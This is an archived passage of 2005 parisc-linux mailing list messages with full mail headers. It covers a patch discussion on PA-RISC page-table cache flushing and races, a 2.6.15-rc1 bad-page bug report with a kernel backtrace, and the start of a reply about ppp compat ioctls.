Date: Mon, 24 Oct 2005 09:56:24 -0500
Lines: 147
Approved: news@gmane.org
Message-ID: <1130165784.3325.13.camel__41389.6899125122$1416624565$gmane$org@mulgrave>
References: <Pine.LNX.4.61.0510221716380.18047@goblin.wat.veritas.com>
	<Pine.LNX.4.61.0510221722260.18047@goblin.wat.veritas.com>
	<20051022163330.GD3364@parisc-linux.org>
	<1130000925.6461.15.camel@mulgrave>
	<Pine.LNX.4.61.0510230930470.19527@goblin.wat.veritas.com>
	<1130079931.3437.21.camel@mulgrave>
	<Pine.LNX.4.61.0510240441570.22402@goblin.wat.veritas.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624565 27337 80.91.229.3 (22 Nov 2014 02:49:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:25 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 parisc-linux@parisc-linux.org,
 linux-kernel@vger.kernel.org,
 Matthew Wilcox <matthew@wil.cx>
To: Hugh Dickins <hugh@veritas.com>
Original-X-From: - Wed Jul 02 21:28:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Oct 2005 14:57:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 24 Oct 2005 16:57:07 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7A8557D69F;
	Mon, 24 Oct 2005 08:56:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06017-09; Mon, 24 Oct 2005 08:56:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 578347D6A0;
	Mon, 24 Oct 2005 08:56:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 557697D69E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Oct 2005 08:56:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06017-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Oct 2005 08:56:54 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id B68C27D69D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Oct 2005 08:56:54 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id E45F9494056; Mon, 24 Oct 2005 08:56:53 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by palinux.hppa (Postfix) with ESMTP id 7E148494011
	for <parisc-linux@parisc-linux.org>;
	Mon, 24 Oct 2005 08:56:53 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	j9OEuQx10571; Mon, 24 Oct 2005 10:56:26 -0400
In-Reply-To: <Pine.LNX.4.61.0510240441570.22402@goblin.wat.veritas.com>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: EZMuYxxBeSEka76WZHQhaXN1IGRvb8B4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25201

On Mon, 2005-10-24 at 05:36 +0100, Hugh Dickins wrote:
> On Sun, 23 Oct 2005, James Bottomley wrote:
> > The change does slightly worry me in that it alters the behaviour of
> > flush_cache_page() because now it checks the pfn whereas previously it
> > didn't.  This means that previously we would flush the COW'd page of a
> > shared mapping, now we won't.
> 
> Perhaps you're thinking of some use of flush_cache_page that no longer
> exists in the tree?  All the uses I see are passing in the right pfn,
> and the question is why translation_exists even gets called by it.

No, just verifying that we won't get tripped up by the pfn test in the
one case where we didn't do it previously.

translation_exists() is just an optimisation in flush_cache_page().  If
there's no pte, we can't do an effective flush, so instead of relying on
flush instruction nullification to achieve the nop, we just call
transation_exists() to do the check for us.

> Even those uses of flush_cache_page in asm-parisc/cacheflush.h itself
> (which I'd missed before): copy_to_user_page and copy_from_user_page
> are only used by nothing but access_process_vm, after get_user_pages:
> so any COW has already been done, and the right pfn is passed in.

OK, so the patch should be fine then.

> > > I'm right, aren't I? that the previous pte_none test was actually letting
> > > through swap entries and pte_file entries which might look as if they had
> > > the right pfn, just by coincidence of their offsets?  So flush_dcache_page
> > > would stop, thinking it had done a good flush, when actually it hadn't.
> > 
> > Actually, no, pte_none() on parisc is either pte is zero or _PAGE_FLUSH
> > (which is our private flag saying we're preserving the pte entry for the
> > purposes of flushing even though it's gone) is set.
> 
> Sorry, "pte_none test" was my lazy shorthand for the actual test:
> 	if(pte_none(*pte) && ((pte_val(*pte) & _PAGE_FLUSH) == 0))
> 		return NULL;
> from which point on it assumes the pte is valid.  I'm contending that
> a swap entry or pte_file entry does not return NULL there, so is then
> treated as a valid pte: and pte_pfn on it might match the target pfn.

OK, I see, yes, we could have had this problem.

> I believe my
> 	/* Filter out coincidental file entries and swap entries */
> 	if (!(pte_val(pte) & (_PAGE_FLUSH|_PAGE_PRESENT)))
> 		return 0;
> is correct, and avoids that problem (plus avoiding the complication
> of parisc's unintuitive pte_none).

Yes, it should.

> > However, now that I
> > look at it, are you thinking our ptep_get_and_clear() should be doing a
> > check for _PAGE_PRESENT before it sets _PAGE_FLUSH?
> 
> That's certainly not what I was thinking.  No, I'm pretty sure that
> ptep_get_and_clear only gets called when we've got the right lock and
> know the pte is present: I don't think you need to make any change there.
> (The "pretty sure" reflecting that there's a bit of a macro maze here now,
> so actually following up each reference would take a bit longer.)
> 
> But you may be seeing something I don't see: I've only just met your
> _PAGE_FLUSH, and that unusual pte_none might be letting something
> through that I'm overlooking, that you're aware of.

Actually, I think what we need to ascertain is whether _PAGE_FLUSH is
still necessary.  A long time ago, Linux would do stupid things like
clear the page table entry and then flush (which is legal on PIPT
architectures like x86).  If it's no longer doing that then we no-longer
need to worry about _PAGE_FLUSH.

> > > But races remain: the pte good at the moment translation_exists checks it,
> > > may have been taken out by kswapd a moment later (flush_dcache_mmap_lock
> > > only secures the vma_prio_tree structure, not ptes within the vmas);
> > > or it may have been COWed in the interval; or zapped from the mm.
> > > 
> > > Can you get a success code out of __flush_cache_page?  Or perhaps you
> > > should run translation_exists a second time after the  __flush_cache_page,
> > > to check nothing changed (the pte pointer would then be helpful, to save
> > > descending a second time)?  Or perhaps it all works out, that any such
> > > change which might occur, itself does the __flush_cache_page you need?
> > 
> > Yes, I know ... I never liked the volatility of this, but it's better
> > than what was there before, believe me (previously we just flushed the
> > first entry we found regardless).
> 
> I do believe you!
> 
> > Getting a return code out of __flush_dcache_page() is hard because it
> > doesn't know if the tlb miss handler nullified the instructions it's
> > trying to execute; and they're interruption handlers (meaning we don't
> > push anything on the stack for them, they run in shadow registers), so
> > getting a return code out of them is next to impossible.
> 
> Right, it was just a thought.
> 
> > For the flush to be effective in the VIPT cache, we have to have a
> > virtual address with a valid translation that points to the correct
> > physical address.  I suppose we could flush through the tmpalias space
> > instead.  That's where we set up an artifical translation that's not the
> > actual vaddr but instead is congruent to the vaddr so the mapping is
> > effective in cache aliasing terms.  Our congruence boundary is 4MB, so
> > we set up a private (per cpu) 4MB space (tmpalias) where we can set up
> > our pte's (or actually manufacture them in the tlb miss handler)
> > securely.
> 
> I have no appreciation at all how that would compare.  On the one hand
> it sounds like a lot of overhead you'd understandably prefer to avoid;
> on the other hand, this hit-and-miss search of the vma_prio_tree might
> be a worse overhead better avoided.   I've no appreciation at all.

Well ... it appeals because we could now implement flush_dcache_page()
without walking the vmas.  All we need is the offset (because vm_start
is always congruent) which we can work out from the page->index, so we
never need any locking.

> But I made two suggestions above that might be less work.  One,
> requiring no work but research, that _perhaps_ in all the racy cases
> you can rely on the __flush_cache_page having been done by the racer?
> I can't tell, and it may be obvious to you that that's a non-starter.

Yes, that, theoretically, is correct.  Any flush at that address to user
space affects all the mappings, whether it's done by clearing the pte or
by us in flush_dcache_page().

> Other, that you just check the pte again after the __flush_cache_page,
> if it's no longer right then assume the flush didn't work and continue.
> There is a small chance that the pte was right before, wrong during the
> flush, then right after (something else faulted it back in, while we
> were away... I was about to say handling an interrupt, but actually
> even interrupts are disabled here by flush_dcache_mmap_lock, since
> that's a reuse of mapping->tree_lock).  But it would improve the
> safety by several orders of magnitude.

No ... we'll go with the racer already did it theory, I think ...

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hugh Dickins <hugh@veritas.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH 3/9] mm: parisc pte atomicity
Date: Mon, 24 Oct 2005 17:49:22 +0100 (BST)
Lines: 62
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.61.0510241714280.4543__24617.4028645784$1416624566$gmane$org@goblin.wat.veritas.com>
References: <Pine.LNX.4.61.0510221716380.18047@goblin.wat.veritas.com> 
	<Pine.LNX.4.61.0510221722260.18047@goblin.wat.veritas.com> 
	<20051022163330.GD3364@parisc-linux.org>
	<1130000925.6461.15.camel@mulgrave>
	<Pine.LNX.4.61.0510230930470.19527@goblin.wat.veritas.com> 
	<1130079931.3437.21.camel@mulgrave>
	<Pine.LNX.4.61.0510240441570.22402@goblin.wat.veritas.com>
	<1130165784.3325.13.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416624566 27340 80.91.229.3 (22 Nov 2014 02:49:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:26 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 parisc-linux@parisc-linux.org,
 linux-kernel@vger.kernel.org,
 Matthew Wilcox <matthew@wil.cx>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:28:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Oct 2005 16:50:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx009) with SMTP; 24 Oct 2005 18:50:37 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 68B2B7D6A5;
	Mon, 24 Oct 2005 10:50:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06859-03; Mon, 24 Oct 2005 10:50:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 380247D6AA;
	Mon, 24 Oct 2005 10:50:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 286557D6A4
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Oct 2005 10:50:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06428-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Oct 2005 10:50:23 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 95B067D695
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Oct 2005 10:50:23 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 40A0E494011; Mon, 24 Oct 2005 10:50:23 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from gold.veritas.com (gold.veritas.com [143.127.12.110])
	by palinux.hppa (Postfix) with ESMTP id 04D0A494007
	for <parisc-linux@parisc-linux.org>;
	Mon, 24 Oct 2005 10:50:22 -0600 (MDT)
Original-Received: from sxchcon1-int.veritas.com (HELO
	SVLXCHCON1.enterprise.veritas.com) (10.137.18.171)
	by gold.veritas.com with ESMTP; 24 Oct 2005 09:50:20 -0700
Original-Received: from megami.veritas.com ([10.137.16.7]) by
	SVLXCHCON1.enterprise.veritas.com with Microsoft
	SMTPSVC(6.0.3790.211); Mon, 24 Oct 2005 09:50:20 -0700
Original-Received: from linux.wat.veritas.com([10.10.97.50]) (4054 bytes) by
	megami.veritas.com via sendmail with P:esmtp/R:smart_host/T:smtp
	(sender: <hugh@veritas.com>) id <m1EU5Wc-0001EAC@megami.veritas.com>
	for <matthew@wil.cx>; Mon, 24 Oct 2005 09:50:18 -0700 (PDT)
	(Smail-3.2.0.101 1997-Dec-17 #15 built 2001-Aug-30)
X-X-Sender: hugh@goblin.wat.veritas.com
In-Reply-To: <1130165784.3325.13.camel@mulgrave>
X-OriginalArrivalTime: 24 Oct 2005 16:50:20.0030 (UTC)
	FILETIME=[04C301E0:01C5D8BB]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: inUvY6tBeSEke76WZHQhaXN1IGRvb0B3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25202

Good, I think we're converging.

On Mon, 24 Oct 2005, James Bottomley wrote:
> On Mon, 2005-10-24 at 05:36 +0100, Hugh Dickins wrote:

> Actually, I think what we need to ascertain is whether _PAGE_FLUSH is
> still necessary.  A long time ago, Linux would do stupid things like
> clear the page table entry and then flush (which is legal on PIPT
> architectures like x86).  If it's no longer doing that then we no-longer
> need to worry about _PAGE_FLUSH.

I can't quite work out the sequence here.  That issue was fixed four
years ago in 2.4.10: I sent the patch which moved the flush_cache_page
in vmscan.c, incorporating one posted by NIIBE Yutaka and David Miller,
to get SH right.  Whereas PA-RISC's _PAGE_FLUSH got added a year later
in 2.4.20 and 2.5.45.

Ah, yes, it got switched around the wrong side again in 2.5, because
the pte_chains rmap (based on 2.4.9) propagated that error for a while.
Well, it's simply an error if flush_cache_page is called after clearing
the pte, and it now looks like _PAGE_FLUSH was the wrong fix.  It would
be a nice simplification if you can now get rid of _PAGE_FLUSH (but I
won't be sending patches to do that myself).

> > > For the flush to be effective in the VIPT cache, we have to have a
> > > virtual address with a valid translation that points to the correct
> > > physical address.  I suppose we could flush through the tmpalias space
> > > instead.  That's where we set up an artifical translation that's not the
> > > actual vaddr but instead is congruent to the vaddr so the mapping is
> > > effective in cache aliasing terms.  Our congruence boundary is 4MB, so
> > > we set up a private (per cpu) 4MB space (tmpalias) where we can set up
> > > our pte's (or actually manufacture them in the tlb miss handler)
> > > securely.
> 
> Well ... it appeals because we could now implement flush_dcache_page()
> without walking the vmas.  All we need is the offset (because vm_start
> is always congruent) which we can work out from the page->index, so we
> never need any locking.

If the overhead of setting them up and flushing them out after is low,
then yes, using your own tmpalias area sounds much better than getting
involved in the vma_prio_tree stuff.  ARM would then be the only
architecture having to dabble in that.

> No ... we'll go with the racer already did it theory, I think ...

Okay, just don't blame me if it's horribly wrong ;)
I've simply not wrapped my head around the races, and would
need a much better understanding of SMP on PA-RISC to do so.

Right, it looks like we agree that my patch is necessary and valid as is;
but that the further races which worried me are not an issue, because the
racer will have done the necessary flush_cache_page.  And two cleanups may
be done later: remove _PAGE_FLUSH, and use tmpalias instead of vma_prio_tree.

Hugh
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.15-rc1 freeing a reserved page from uart_shutdown
Date: Fri, 11 Nov 2005 23:39:14 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <20051112063914.GH1658__9232.93254240907$1416624566$gmane$org@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624566 27342 80.91.229.3 (22 Nov 2014 02:49:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:26 +0000 (UTC)
To: linux-kernel@vger.kernel.org,
 linux-serial@vger.kernel.org,
 parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Nov 2005 06:39:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 12 Nov 2005 07:39:27 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 117437D6D3;
	Fri, 11 Nov 2005 23:39:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11585-01; Fri, 11 Nov 2005 23:39:21 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D95CA7D6CE;
	Fri, 11 Nov 2005 23:39:20 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8973C7D6CC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Nov 2005 23:39:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11330-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Nov 2005 23:39:17 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 09B167D6CB
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Nov 2005 23:39:17 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 6973349400C; Fri, 11 Nov 2005 23:39:14 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id 41E6549400A; Fri, 11 Nov 2005 23:39:14 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: d+sHY9sheSEkMr6WZHQhaXN1IGRvb0CY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25203


I'm having some trouble with 2.6.15-rc1:

VFS: Mounted root (ext2 filesystem) readonly.
Freeing unused kernel memory: 640k freed
Bad page state at free_hot_cold_page (in process 'init', page 108a24a0)
flags:0x00000400 mapping:00000000 mapcount:0 count:0
Backtrace:
Backtrace:
 [<101481cc>] bad_page+0x70/0xc4
 [<10148920>] free_hot_cold_page+0x74/0x124
 [<10275e68>] uart_shutdown+0xf0/0xf8
 [<102775f8>] uart_close+0xc8/0x214
 [<1025c710>] release_dev+0x72c/0x734
 [<1025cddc>] tty_release+0x10/0x20
 [<101680f0>] __fput+0x15c/0x170
 [<10166520>] filp_close+0x58/0x94
 [<1010d114>] syscall_exit+0x0/0x14

This is on a parisc system, though a very similar tree boots fine on a
different machine.  The machine which produces this message is a K460
which uses the Mux serial driver.  As far as I can tell, the only call
to free_hot_cold_page() in uart_shutdown() is to free info->xmit.buf
which seems to be always filled by a call to get_zeroed_page().

This problem doesn't show with 2.6.14.  I can give access to this
machine to anyone who wants to do some debugging.  It has remote power
capabilities ;-)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] parisc: remove copat_ioctl entires for pp
Date: Sat, 12 Nov 2005 06:33:08 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20051112133308.GI1658@parisc-linux.org>
References: <20051112095213.GA15918@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624566 27345 80.91.229.3 (22 Nov 2014 02:49:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:26 +0000 (UTC)
Cc: akpm@osdl.org,
 netdev@vger.kernel.org,
 parisc-linux@parisc-linux.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: - Wed Jul 02 21:28:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Nov 2005 13:33:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 12 Nov 2005 14:33:17 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3954A7D6E5;
	Sat, 12 Nov 2005 06:33:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14486-10; Sat, 12 Nov 2005 06:33:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 595097D6E1;
	Sat, 12 Nov 2005 06:33:12 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 98A077D6DF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Nov 2005 06:33:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14715-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Nov 2005 06:33:09 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 16C987D699
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Nov 2005 06:33:09 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id A941849400A; Sat, 12 Nov 2005 06:33:08 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id 6EE85494006; Sat, 12 Nov 2005 06:33:08 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20051112095213.GA15918@lst.de>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: SYoHY+dHeSEkT76WZHQhaXN1IGRvbwCr
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25204

On Sat, Nov 12, 2005 at 10:52:13AM +0100, Christoph Hellwig wrote:
> ppp ioctls handlers in parisc are wrong:
> 
>  - they would need to do a copat_ptr on  ifr->ifr_ifru.ifru_data
